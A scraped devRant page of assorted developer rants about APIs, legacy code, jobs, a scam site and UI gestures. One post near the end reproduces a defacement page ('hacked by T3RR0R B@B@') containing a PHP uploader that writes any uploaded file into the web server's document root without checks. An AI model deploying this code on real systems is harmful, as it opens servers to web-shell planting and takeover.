And THEN.. as an icing on the cake, the result doesn't quite look like JSON, nor does it really look like XML, but it has elements of both. I had no idea what to make of this, especially before I had a chance to look at the exact structured output of that command above (if you just pipe into jq without arguments it's much less readable).
Then a friend of mine mentioned Wikitext. Turns out that Wikipedia's API is not only retarded, even the goddamn output is. What the fuck is Wikitext even? It's the Apple of wikis apparently. Only Wikipedia uses it.
And apparently I'm not the only one who found Wikipedia's API.. irritating to say the least. See e.g. https://utcc.utoronto.ca/~cks/...
Needless to say, my bot will not be getting Wikipedia integration at this point. I've seen enough. How about you make your API not retarded first Wikipedia? And hopefully this rant saves someone else the time required to wade through this clusterfuck.12 -
I once agreed to maintain and develop an application used in a different section of the school to keep inventory and make sure everything is where it is supposed to be.
At first there was enthusiasm, together with 2 of my classmates we agreed and git clone-d the .NET application that now graduated students built and maintained for the past few years. What could go wrong right?!
It became clear that the original students that worked on it followed an older curriculum, meaning they still got taught .NET instead of the core variant that we get now, not only that but it also seemed that they either did not fully grasp the Clean/Onion architecture or didn't get it in class since there were infrastructure components in the 'Domain' project of the solution. Think of 2 DBContexts in the domain model, yep.
One of us bailed in the first week, the other one and I felt bad for the people using the app so we went on and tried to work on the first bugs that were described in a document. One of these bugs was 'whenever I filter on something in the list, everybody gets to see that filter on their screen instead of only me'. Woah that's weird! Let's see how they put that together!
Oh god, they are using a _static_ variable to store filters, no wonder that it doesn't work properly. Ever heard of sessions?!
Second bug: Sometimes people can't create an account when we sign them up from the admin panel. Alright that is weird, let's figure that one out! Wait a second it seems to work in development? What's this about.
Oh wait I can't create an account on production either? Oh that's weird, wait a second... Why do I have to put my e-mail in a form that was sent to me through e-mail? Why is my address not filled in already? OOH, if someone types in the wrong e-mail address (which is easy since our school has 4 variants of the same f*cking e-mail address) it won't work since it can't recognize the user! Brilliant! Remove e-mail input box and make a token/queryparam determine the user account.
Ah that seems good, it's a mess but it seems a tiny bit better now, great! We're making progress and some sweet buck.
Next bug, trillions of 50x errors on random pages, that's a weird one.
Hm everything works in development, that's odd. Is the production data corrupted?
DID I MENTION that in order to get into the system in development we have to load in a f*cking production database backup ON OUR DEVELOPMENT MACHINE and then ask one of the users' password to login to it and create an account for ourselves? Seeding? What's that, right?!
Anyway, back to bug fixing. I e-mail the the people responsible for the app and get a production admin account, oh I also can't ssh into it because of policies so I have to do everything over e-mail and figure out what's causing the errors. I somehow also wonder if they have any kind of virtualization in place, giving students a VM to do that stuff in doesn't seem so weird does it ? Even with school policies?
Oh btw, 'deploying' means sending a .zip file to a guy in another building and telling him how to configure it, apparently this resulted in a missing folder that the application needed to work and couldn't make on its own. This after 2 weeks of e-mailing back and forth.
After 3 months i quit out of despair and sadness, and due to the fact that I just couldn't do it anymore. I separated everything into logical subprojects and let the last guy handle it, he was OK with that and understood why I left.
Luckily, around that time I already had an actual job at a software development company :)3 -
When scammers want to follow GDPR regulations - the worst SCAM ever 🤦♂️
Long story:
I have just received a SMS message, informing me that my phone number is in several marketing databases. It also had a link to the website called stop-sms.pl, where you're supposed to be able to unsubscribe from those lists. At this moment I felt a little bit confused - the SMS seemed suspicious, but on the other hand who doesn't want to get rid of all this SMS crap. So I carefully followed the link to see the website with a form to fill with personal data - phone number included 😆 If that is not enough to realize that this is just a lame scam website, just below the input where you enter the phone number there are Terms and Conditions where it directly states that: "By filling the form you agree that your personal data (name, email, phone number) will be used for marketing purposes." - WTF?!
Who the f... gets fooled by such crap?! 😂😂😂3 -
wrote some JS to make sure that eForm fields which are hidden/disabled via checkboxes are nullified before the form submission. Checking the request and the fields are definitely empty. But the tester says the data is still appearing in the DB. So i am moving immediately to Nepal where i intend to live as a goat.
-
So here's my problem. I've been employed at my current company for the last 12 months (next week is my 1 year anniversary) and I've never been as miserable in a development job as this.
I feel so upset and depressed about working in this company that getting out of bed and into the car to come here is soul draining. I used to spend hours in the evenings studying ways to improve my code, and was insanely passionate about the product, but all of this has been exterminated due to the following reasons.
Here's my problems with this place:
1 - Come May 2019 I'm relocating to Edinburgh, Scotland and my current workplace would not allow remote working despite working here for the past year in an office on my own with little interaction with anyone else in the company.
2 - There is zero professionalism in terms of work here, with there being no testing, no planning, no market research of ideas for revenue generation – nothing. This makes life incredibly stressful. This has led to countless situations where product A was expected, but product B was delivered (which then failed to generate revenue) as well as a huge amount of development time being wasted.
3 - I can’t work in a business that lives paycheck to paycheck. I’ve never been somewhere where the salary payment had to be delayed due to someone not paying us on time. My last paycheck was 4 days late.
4 - The management style is far too aggressive and emotion driven for me to be able to express my opinions without some sort of backlash.
5 - My opinions are usually completely smashed down and ignored, and no apology is offered when it turns out that they’re 100% correct in the coming months.
6 - I am due a substantial pay rise due to the increase of my skills, increase of experience, and the time of being in the company, and I think if the business cannot afford to pay £8 per month for email signatures, then I know it cannot afford to give me a pay rise.
7 - Despite having continuously delivered successful web development projects/tasks which have increased revenue, I never receive any form of thanks or recognition. It makes me feel like I am not cared about in this business in the slightest.
8 - The business fails to see potential and growth of its employees, and instead criticises based on past behaviour. 'Josh' (fake name) is a fine example of this. He was always slated by 'Tom' and 'Jerry' as being worthless, and lazy. I trained him in 2 weeks to perform some basic web development tasks using HTML, CSS, Git and SCSS, and he immediately saw his value outside of this company and left achieving a 5k pay rise during. He now works in an environment where he is constantly challenged and has reviews with his line manager monthly to praise him on his excellent work and diverse set of skills. This is not rocket science. This is how you keep employees motivated and happy.
9 - People in the business with the least or zero technical understanding or experience seem to be endlessly defining technical deadlines. This will always result in things going wrong. Before our mobile app development agency agreed on the user stories, they spent DAYS going through the specification with their developers to ensure they’re not going to over promise and under deliver.
10 - The fact that the concept of ‘stealing data’ from someone else’s website by scraping it daily for the information is not something this company is afraid to do, only further bolsters the fact that I do not want to work in such an unethical, pathetic organisation.
11 - I've been told that the MD of the company heard me on the phone to an agency (as a developer, I get calls almost every week), and that if I do it again, that the MD apparently said he would dock my pay for the time that I’m on the phone. Are you serious?! In what world is it okay for the MD of a company to threaten to punish their employees for thinking about leaving?! Why not make an attempt at nurturing them and trying to find out why they’re upset, and try to retain the talent.
Now... I REALLY want to leave immediately. Hand my notice in and fly off. I'll have 4 weeks notice to find a new role, and I'll be on garden leave effective immediately, but it's scary knowing that I may not find a role.
My situation is difficult as I can't start a new role unless it's remote or a local short term contract because my moving situation in May, and as a Junior to Mid Level developer, this isn't the easiest thing to do on the planet.
I've got a few interviews lined up (one of which was a final interview which I completed on Friday) but its still scary knowing that I may not find a new role within 4 weeks.
Advice? Thoughts? Criticisms?
Love you DevRant <33 -
Pull-to-refresh is useless.
If you are a mobile app developer, please get rid of pull-to-refresh. Your users will thank you.
I have the impression that mobile app developers choose to implement the pull-to-refresh gimmick just in order to make their app comply with a design trend. It seems like a desperate attempt to appear "modern" and "fancy", not because of the actual usefulness of the gesture.
Pull-to-refresh is one of those things that are well-intended but backfire. It appears helpful on first sight, but turns out to be a burden.
It takes effort and cognitive strain to avoid triggering a pull-to-refresh. The user can't use the app relaxed but has to walk on eggshells.
Every unwanted refresh wastes battery power, mobile data (if it is an Internet-connected app), and can lead to the loss of form data.
To avoid pull-to-refresh, the user has to resort to finger gymnastics like a shorter swipe for scrolling up or swiping slightly up before down. Pull-to-refresh could even be triggered while pinch-zooming in or out near the top of a page, if the touchscreen does not recognize one of the two fingers.
Pull-to-refresh also interferes with the double-tap-swipe zoom gesture. If one of the two taps are not recognized, a swipe-down to zoom in can trigger a pull-to-refresh instead.
To argue "if you don't like pull-to-refresh, just don't use it" is like blaming a person who stepped on a mine, since the person moved and the mine was stationary.
A refresh button can be half a second away in the menu bar, URL bar, or a submenu, where it is unlikely to be pressed accidentally. There is no need for a gesture that does more harm than good.
Using a mobile app with pull-to-refresh feels like having Windows StickyKeys forcibly enabled at all times. The refresh circle animation sticks to the finger.
If the user actually wants to refresh, pull-to-refresh is slower than a refresh button in a menu if the page is not at the top, meaning pull-to-refresh is useless as a shortcut anyway if the page is in any other position than the top.
An alternative to pull-to-refresh is pull-for-details. Samsung did it in some of their apps. Pulling down against the top reveals additional information such as the count and total size of selected items.
If you own a website, add this CSS to make browsing your website on the pre-installed Android web browser not a headache:
html,body { overscroll-behavior: none; }
Why is this necessary? In 2019, Google took the ability to deactivate the pull-to-refresh gesture on their Chrome browser for Android OS away from users. On Chrome for Android, pull-to-refresh can only be disabled on the server side, not the user side. The avalanche of complaints? Neglected.
Good thing several third-party browsers let the user turn off this severe headache.
12 -
Wondering why your form isn't submitting any data to the db.
Spending half an hour checking all POST-Variables and functions in your script multiple times to see if they give the correct values (they do).
Finally realizing you wrote 'INSERT INRO' in your SQL statement.
Questioning your intelligence for the rest of the day.6 -
!rant
Skip away if you have zero interest in CurseMeSlowly's personal craps.
These days I am either slacking or working on things I like. Hence the lack of ranting.
So one of those "working-on-things-I-like" activities is my slow and snaily collab project. 😅 Today I am aiming to accomplish like 0.1% of it 😆 by finishing the github login feature. I have done the OAuth part. Just left with designing table structures and storing user data.
I plan to save login credentails into *users* table and other app related data into *profiles* table. That's what we usually do with users and profiles anyway. But I'm stil having a little bit of doubt regarding the proper way to store the game statistics like user's health, user's experience level etc.
If I am just showing the current statistics on the app, then those 2 tables are enough. But what if we want to see the progress of a user? hmm 🤔
I guess I will just leave it to decide later. 😬
---
If you don't know about it please check here https://cursemeslowly.github.io/dev... Any form of contribution is warmly welcome 🤗3 -
TLDR: Just had a "I am god" moment because something worked on the first try.
Been working on hooking into and modifying a plugin's central function and related output for almost two weeks now. The documentation is garbage and the source code is ... fine, I guess.
I had been working on getting the filter & display working on a form with sample data I'd put together. I finally got the desired result before I left on Friday, but had the sample selectors hardcoded in.
Within a couple of hours this morning, after fiddling around with pulling the needed data dynamically, I navigated to and checked out the function on the intended page for the very first time since starting the project and IT FUCKING WORKED RIGHT AWAY.
I let out a forceful "yussss" under my breath and stood up with my fists in the air. Nobody noticed. But at least I get to show my manager the fully functioning thing this afternoon instead of the hard-coded sample-only I had when he checked in with me this morning.1 -
That’s it I’m done with writing documents like Software Product Specifications and Software Requirements Documents and Software Architecture Documents, manuals, data sheets and more in MS word..
I’m doing it all form this point forward in LaTeX... I can stay in my editor, it works beautifully with version control because it’s just text... I can split it amung multiple files.. it looks damn sexy. I can focus on the content rather than being distracted by formatting and spelling issues and the rest of that shit.. ALSO.. it doesn’t crash or get corrupted.. well at-least I’ve never had a text editor crash or corrupt my files.
Idk why I didn’t learn latex sooner and do the switch.6 -
Come the fuck on!
AngularJS, or should I call it AidsJS, seems to magically stop sending data as 'form-data'.
2 hours of debugging and this rusty piece of junk won't bow down before my magic hands!
Go eat a rotten turd candy, Google!4 -
What the literal fuck apple? YOU ADDED ANOTHER USELESS FORM OF DATA COMPRESSION??? NO ONE WILL EVER USE XIP!!5
-
I don't get it.
I tried Kotlin on Android just for fun, and it doesn't support binary data handling, not even unsigned types until the newest version. Java suffers from the same disease.
How does one parse and process binary data streams on such a high end system? Not everything is highlevel XML or JSON today.
And it's not only an Android issue.
Python has some support for binary data, and it's powerful, but not comfortable.
I tried Ruby, Groovy, TCL, Perl and Lua, and only Lua let's you access data directly without unnecessary overhead.
C# is also akward when it comes to data types less than the processer register width.
How hard can it be to access and manipulate data in its natural and purest form?
Why do the so called modern programming language ignore this simple aspect that is needed on an everyday basis?11 -
Since my first post was a success, here's another shameless hack-- in this case, ripping a "closed" database I don't usually have access to and making a copy in MySQL for productivity purposes. That was at a former job as an IT guy at a hardware store, think Lowes/Rona.
We had an old SCO Unix server hosting Informix SQL (curious, anyone here touched iSQL?), which has terminal only forms for the users to handle data, and has keybindings that are strangely vi based (ESC does commit changes. Mindfsck for the users!). To add new price changes to our products, this results to a lengthy procedure inside a terminal form (with ascii borders!) with a few required fields, which makes this rather long. Sadly, only I and a colleague had access to price changes.
Introducing a manager who asks a price change for a brand- not a single product, but the whole product line of a brand we sell. Oh and, those price changes ends later after the weekend (twice the work, back at regular price!)
The usual process is that they send me a price change request Excel document with all the item codes along with the new prices. However, being non technical, those managers write EVERYTHING at hand, cell by cell (code, product name, cost, new price, etc), sometimes just copy pasted from a terminal window
So when the manager asked me to change all those prices, I thought "That's the last time I manually enter all of this sh!t- and so does he". Since I already have a MySQL copy of the items & actual (live) price tables, I wrote a PHP backend to provide a basic API to be consumed to a now VBA enhanced Excel sheet.
This VBA Excel sheet had additional options like calculating a new price based on user provided choices ("Lower price by x $ or x %, but stay above cost by x $ or x %"), so the user could simply write back to back every item codes and the VBA Excel sheet will fetch & display automatically all relevant infos, and calculate a new price if it's a 20% price cut for example.
So when the managers started using that VBA sheet, I had also hidden a button which simply generate all SQL inserts for the prices written in the form, including a "back to regular price" if the user specified an end date, etc.
No more manual form entry for me, no more keyboard pecking for the managers with new prices calculated for them. It was a win/win :)1 -
My first rant for ages
I'm working on a new project at a new company. We ha e a bunch of front end clients talking to an api.
I suggested that the api only communicate in terms of view models in order to bring some kind of standardisation to the project since at the time the gets and posts were either dB entities, view models, or just whatever the dev at the time decided.
I got a no, but that we could do posts and gets just with database entities. OK better than nothing..
I'm the front end angular app I implemented a generic form component and a generic data table component. The models given to these to build the components need to implement a view model interface.
Now we have a problem of the api giving us not view models and the front end needing view models so I put together a way to handle this in the front end.
My colleague with 8 years experience asks for my help and I'm happy to oblige. It turns out a model should have multiple child models in the database but the database entity models don't reflect this and therefore there is no way to build the view models. The data just isn't there from the api... Still I show him what the front end model should look like and write all the front end code for him to handle that.
2 days later he asks for my help again. It's exactly the same problem. Instead of fixing the backend and setting up the one to many relationship he has ignore the problem, retrieved a one to one relationship model and is just trying to force it to work - even though the data isn't there. He has also commented or removed all the code I helped him write and overwritten a file of typescript models that get autogenerated for us to be in sync with the backend...
I actually felt bad afterwards but I got frustrated as hell and he could tell...1 -
I got a median-pay front-end job through a contractor (after a contract from hell...but yeah I didn't learn...) and I'm getting zero assignments after a month and nobody seems to know what my role is.
I'm one month in, and every week I have to email my boss to remind her to sign my paycheck, which is stressful because I'm charging for my time because my assignments are like "Research this" or "look at this Wordpress theme or brand guide". The team never communicates but once a week, and I'm beginning to believe that I'm not a good fit for the team because they are impossible to get a hold of and the sysadmin won't give me access to anything even when I CC my boss. (I don't want to grief this guy...) Despite this, I've been told privately by higher-ups on a few occasions that they plan to hire me full time by November...
My SO thinks that the reason people are so dodgy toward me is because they literally do nothing and I'm breaking the flow of that by asking for things. I'm used to agency output, which can be toxic and where everything is 'due yesterday', and I'm watching this team work on assignments ten times slower than normal. ("You want to change a phone number on a website footer? You'll get it next week...maybe." I can't step on toes because I don't have access...) I'm perfectly fine with having to wear several hats at a low-stress job, but I can't even get my first assignment and I'm still being asked who I am in weekly meetings, or asked things like, "Would you even be willing to relocate here?" (I actually live DOWN THE STREET FROM THE OFFICE!! WHY DO I HAVE TO BE REMOTE? Why am I being asked this question?) It feels like my boss impulse hired me, with zero input from the team, and had no real reason to hire me in the first place...
It could also be another issue: Yeah, my experience is in PHP/JS/React, "but here have a seven year old .NET project and a company laptop with zero documentation and make this form import data to a database we know nothing about." Lead dev won't even talk to me.
I feel like a joke.2 -
A long long time ago ( 2007 I think ) I worked for a company that made landing sites, so basically an email campaign would go out, users would be sent to a 1 page website with a form to capture their data, ready to be spammed even more. You know how it was back then.
So I worked with a guy who we had just hired, I didn't do the hiring but his CV checked out, so I gave him one of my tasks. Now most pages were made with js and html, with a PHP backend ( called with Ajax). Now this guy didn't know PHP so I was like all good, ASP works too at the end of the day we don't judge, we do like 2 or 3 of these a day and never look at them again. So he goes of and does is thing.
3 weeks later, the customer calls up to me they still haven't received their landing page. Ok so he probably forgot to email the customer np, I tell him to double check he has emailed the customer. Another week goes by end the customer calls back, same problem. At this point I'm getting worried, because we're days away from the deadline and it was originally my task.
So I go back to the guy and I tell him I want that landing page so I can send it myself, half thinking to myself that we had a freeloader, that guy that comes in to companies for 3 weeks, doesn't work, but still cashes his pay. But no, this was much worse.
So he tells me he has finished yet. I ask him why, what's the blocker ? You had 4 weeks to tell me you were blocked and couldn't progress. And his answer was simply, because I wasn't blocked I have been working on it this whole time. So I tell him to zip his project up and email it to me. We didn't do SVN or git back then, simply wasn't worth it. So he comes back to me and says the email server is telling him attachments can't be bigger then 50mb. At this point I'm thinking he didn't properly sized the art or something, so I give him a flash drive to put it on.
When I then open the flash drive, the archive is 300mb, thinking to myself, the images weren't even that big to begin with.
So I open it up, and I don't even find any images, just a single asp page. About 500mb. When I opened that up and it finally loaded, I saw the most horrendous things ever.
The first 500 lines was just initializing empty vars. Then there was some code that created an empty form with an onChange event that submits the form. After that.. it was just non stop nested if's. No loops, no while, for, foreach, NO elseif's, just nested if's, for every possible combination of the state the form could be in. Abou 5000 of them, in a single file. To make matters worse, all the form ( and page ) layout was hardcoded in the if's. Includes inline css, base64 encoded images, nothing but as dynamic, based on the length of the form he changes the layout, added more background etc. He cut the images up for every possible size of the page and included them in the code.
I showed it to my boss, he fired the guy on the spot. I redid the work from scratch, in under 4 hours. Send it to the client. they had no ammends to make, happy as Larry. Whish I kept the code somewhere.
Morale of the story, allways do a coding test on interviews, even if small things just to sanity check.3 -
Finally got my anime api somewhat working.
Tomorrow (or in a couple of hours 😅) I'll try to register my first domain and and get my first vps(?) up and running
The api features the data from /r/animethemes, so it'll have 2000+ animes entries with opening / ending urls.
I've also tried to implement some form of searching ('%term%' stuff 🤣), but you better know your abime by its romanized name, or you're gonna have a bad time since I have no alternative names per anime yet.8 -
Once i worked on an application which has very long form and submit to a soap endpoint (post). I felt my life was so pointless when testing after i made changes. So I automated the testing by generating post request so i can just run it.
I filled the user name with Brandon Boyd, Alan Turing or Ryan Gosling. And it increments like Boyd1, Boyd2.
Once my colleague found a bug, the data never get saved but all the boyds persists. He knew it was me, who uses that kind of name
My barbaric manager (was involved) kind of pointed his finger at me. I sweat a bit though i couldn't find logical explanation why Boyds stay. but turned out someone changed the sqlscript. -
Boss at the start of a new project: "We could hire an intern to gatter some data in an excel list... You can easily implement that in the application later - right? So can you get us a excel list to fill out? "
No... Just no...
You tell me what you wanna see and how you wanna interact with the application!
In the process we will figure out which data is necessary, I will build some tables in the database for that data and then, !!! not a second sooner !!! , I'll be able to give you an suitable excel list, which includes a complete list of columns for the necessary data in a form I can work with it.
It's not my job to know what data a application needs to make YOUR JOB easier! I'm not a magician! I just love programming stuff!3 -
Storytime!
(I just posted this in a shorter form as a comment but wanted to write it as a post too)
TL;DR, smarts are important, but so is how you work.
My first 'real' job was a lucky break in the .com era working tech support. This was pretty high end / professional / well respected and really well paid work.
I've never been a super fast learner, I was HORRIBLE in school. I was not a good student until I was ~40 (and then I loved it, but no longer have the time :( )
At work I really felt like so many folks around me did a better job / knew more than me. And straight up I know that was true. I was competent, but I was not the best by far.
However .... when things got ugly, I got assigned to the big cases. Particularly when I transferred to a group that dealt with some fancy smancy networking equipment.
The reason I was assigned? Engineering (another department) asked I be assigned. Even when it would take me a while to pickup the case and catch up on what was going on, they wanted the super smart tech support guys off the case, and me on it.
At first this was a bit perplexing as this engineering team were some ultra smart guys, custom chip designers, great education, and guys you could almost see were running a mental simulation of the chip as you described what you observed on the network...
What was also amusing was how ego-less these guys seemed to be (I don't pretend to know if they really were). I knew for a fact that recruiting teams tried to recruit some of these guys for years from other companies before they'd jump ship from one company to the next ... and yet when I met them in person it was like some random meeting on the street (there's a whole other story there that I wish I understood more about Indian Americans (many of them) and American engineers treat status / behave).
I eventually figured out that the reason I was assigned / requested was simple:
1. Support management couldn't refuse, in fact several valley managers very much didn't like me / did not want to give me those cases .... but nobody could refuse the almighty ASIC engineers. No joke, ASIC engineers requests were all but handed down on stone tablets and smote any idols you might have.
2. The engineers trusted me. It was that simple.
They liked to read my notes before going into a meeting / high pressure conference call. I could tell from talking to them on the phone (I was remote) if their mental model was seizing up, or if they just wanted more data, and we could have quick and effective conversations before meetings ;)
I always qualified my answers. If I didn't know I said so (this was HUGE) and I would go find out. In fact my notes often included a list of unknowns (I knew they'd ask), and a list of questions I had sent to / pending for the customer.
The super smart tech support guys, they had egos, didn't want to say they didn't know, and they'd send eng down the rabbit hole. Truth be told most of what the smarter than me tech support guy's knew was memorization. I don't want to sound like I'm knocking that because for the most part memorization would quickly solve a good chunk of tech support calls for sure... no question those guys solved problems. I wish I was able to memorize like those guys.
But memorization did NOT help anyone solve off the wall bugs, sort of emergent behavior, recognize patterns (network traffic and bugs all have patterns / smells). Memorization also wouldn't lead you to the right path to finding ANYTHING new / new methods to find things that you don't anticipate.
In fact relying on memorization like some support folks did meant that they often assumed that if bit 1 was on... they couldn't imagine what would happen if that didn't work, even if they saw a problem where ... bro obviously bit 1 is on but that thing ain't happening, that means A, B, C.
Being careful, asking questions, making lists of what you know / don't know, iterating LOGICALLY (for the love of god change one thing at a time). That's how you solved big problems I found.
Sometimes your skills aren't super smarts, super flashy code, sometimes, knowing every method off the top of your head, sometimes you can excel just being more careful, thinking different.4 -
I just finished designing an entire asset management pipeline and christ on a fucking pogo stick, if it isn't convoluted.
Theres a lot of game engines out there, but all of them do it a little different. They all tackle a slightly different problem, without even realizing it.
1. asset management
2. asset change management
3. behavior change management
4. data management
5. combinatorial design management.
6. Combinatorial Behavior management
7. Feature completion
ASSET MANAGEMENT is exactly what it says on the tin.
ASSET CHANGE management can be thought of handling the import, export, formatting, platform specific packing, and versioning (including forking) of an asset.
BEHAVIORAL CHANGE management is a subset of asset management, because code is a subset of assets (depending on how you define 'assets'). The oldest known example of this is commenting and uncommenting code.
Or worse, printf debugging.
This can be file versioning, basic undo services, graph management of forks and mergers, toggles for features or modules, etc.
DATA management is about anything that doesn't fall into the other categories, everything from mission text to npc dialogues, quests, location names, item stats, the works. Anything you'd be tempted to put in a database, falls under this category. Haven't yet seen many engines offer this as an explicit built in tool as of yet, because the other problems are non-trivial as is, so this is a bit of low hanging fruit that gets handled by external tools, or loaded from formats as simple as json.
COMBINATORIAL DESIGN management is the idea of prefabbing, blueprints of broader object design using nested prototypes of existing game objects, to create more complex, reusable set pieces. Unity did this well. GM does this in part.
COMBINATORIAL BEHAVIOR management is entity-component systems, plus tooling to make it easy to add, remove, and configure components and their values on entity blueprints, also not uncommon. Both stencyl and unity do this. GM has a precursor to this in the form of configurable fields, but these fields are not based on component scripts attached to objects.
FEATURE COMPLETION is that set of gameplay mechanics or styles of design that an engine naturally makes easier to include or build in a game.
I don't think I'm aiming for all that, but I think at minimum a good engine has to do asset management, behavioral change management, prefabs, and entity-component systems with management tools for that. And ideally, asset change management.8 -
> develops a long form with reactive input boxes that shows wether the data inserted follows the correct format
> client goes "ok now make it a WhatsApp chat"
> "A WhatsApp chat?"
> "Yeah like you ask the questions of the form with the chat and the customer needs to answer through WhatsApp messages, just copy and paste everything you've already done in the browser"
I swear to god, some people have no fucking clue how development works2 -
http://".$_SERVER['HTTP_HOST']."/server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}
.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>
<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>
<!DOCTYPE html>
<html>
<title>K.I.T.A</title>
<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>
<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
this.unparsedOrigText = this.origText;
this.cursor = (cursor ? cursor : "");
this.currentText = "";
this.currentChar = 0;
this.element.typingText = this;
if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
TypingText.all.push(this);
this.running = false;
this.inTag = false;
this.tagBuffer = "";
this.inHTMLEntity = false;
this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
this.tagBuffer += ">";
this.inTag = false;
this.currentText += this.tagBuffer;
this.currentChar++;
this.run();
return;
} else if(this.inTag) {
this.tagBuffer += this.origText.charAt(this.currentChar);
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
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<br><br><br>
<div id="satu">
<embed src="https://youtube.com/v/tec_KllmOH4/...
<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>11 -
In 2015 I sent an email to Google labs describing how pareidolia could be implemented algorithmically.
The basis is that a noise function put through a discriminator, could be used to train a generative function.
And now we have transformers.
I also told them if they looked back at the research they would very likely discover that dendrites were analog hubs, not just individual switches. Thats turned out to be true to.
I wrote to them in an email as far back as 2009 that attention was an under-researched topic. In 2017 someone finally got around to writing "attention is all you need."
I wrote that there were very likely basic correlates in the human brain for things like numbers, and simple concepts like color, shape, and basic relationships, that the brain used to bootstrap learning. We found out years later based on research, that this is the case.
I wrote almost a decade ago that personality systems were a means that genes could use to value-seek for efficient behaviors in unknowable environments, a form of adaption. We later found out that is probably true as well.
I came up with the "winning lottery ticket" hypothesis back in 2011, for why certain subgraphs of networks seemed to naturally learn faster than others. I didn't call it that though, it was just a question that arose because of all the "architecture thrashing" I saw in the research, why there were apparent large or marginal gains in slightly different architectures, when we had an explosion of different approaches. It seemed to me the most important difference between countless architectures, was initialization.
This thinking flowed naturally from some ideas about network sparsity (namely that it made no sense that networks should be fully connected, and we could probably train networks by intentionally dropping connections).
All the way back in 2007 I thought this was comparable to masking inputs in training, or a bottleneck architecture, though I didn't think to put an encoder and decoder back to back.
Nevertheless it goes to show, if you follow research real closely, how much low hanging fruit is actually out there to be discovered and worked on.
And to this day, google never fucking once got back to me.
I wonder if anyone ever actually read those emails...
Wait till they figure out "attention is all you need" isn't actually all you need.
p.s. something I read recently got me thinking. Decoders can also be viewed as resolving a manifold closer to an ideal form for some joint distribution. Think of it like your data as points on a balloon (the output of the bottleneck), and decoding as the process of expanding the balloon. In absolute terms, as the balloon expands, your points grow apart, but as long as the datapoints are not uniformly distributed, then *some* points will grow closer together *relatively* even as the surface expands and pushes points apart in the absolute.
In other words, for some symmetry, the encoder and bottleneck introduces an isotropy, and this step also happens to tease out anisotropy, information that was missed or produced by the encoder, which is distortions introduced by the architecture/approach, features of the data that got passed on through the bottleneck, or essentially hidden features.4 -
Sooo I’m typically a proponent of physical copy of books, as I’d rather sit and read them, write and take notes. Essentially all my books turn into something out of the “half blood prince” potions book from Harry Potter.
But it’s so inconvenient as either my books are in my office or in the library at home. It ends up being something like connecting a USB... the book I need at the time is always in the opposite place I am in currently.
Also, all the books I want now are newer and none are on the used market. For a reasonable price.
So I gave in a bought an iPad with the hopes of putting the books in pdf form on it... I’ll pay for some PDFs but hey if I can get it free thru a google search then it is what it is lol.
Not sure how I’m gonna adapt to reading on a tablet, as I really prefer a physical book.. hell I still use national brand computation notebooks for all my notes. Nothing beats writing it down, AND I still have an IBM selectric 3 and Swintec, nothing beats sitting down and just letting the thoughts flow neatly on a piece of paper and then glueing it the notebook
Anyway whatcha y’alls thoughts of using an iPad as a digital library of books.. using the Apple Pencil to annotate the book. I bought the 12.9 inch as the screen size is closest to a sheet of paper
Also, I don’t read fiction all the books I read are nonfiction, reference manuals, textbooks, data sheets, user manuals, stuff like the art of computer programming by knuth, Kent beck, Robert Martin, folwler books, etc15 -
I am building my portfolio website and added a contact section. In the API call to the backend, I am logging potential API failures to Firebase Analytics. Is it ethical to include the request data (content of the contact form) in log data?5
-
I was minding my own business, fixing merge conflicts for my project lead when it struck.
There, in the middle of a React.js component, was a table, used not for displaying data, no, but for styling a form, which was not a form, but a series of table rows.
I feel sick -
I swear on the Almighty nature, I fucking hate Browser compatibility.
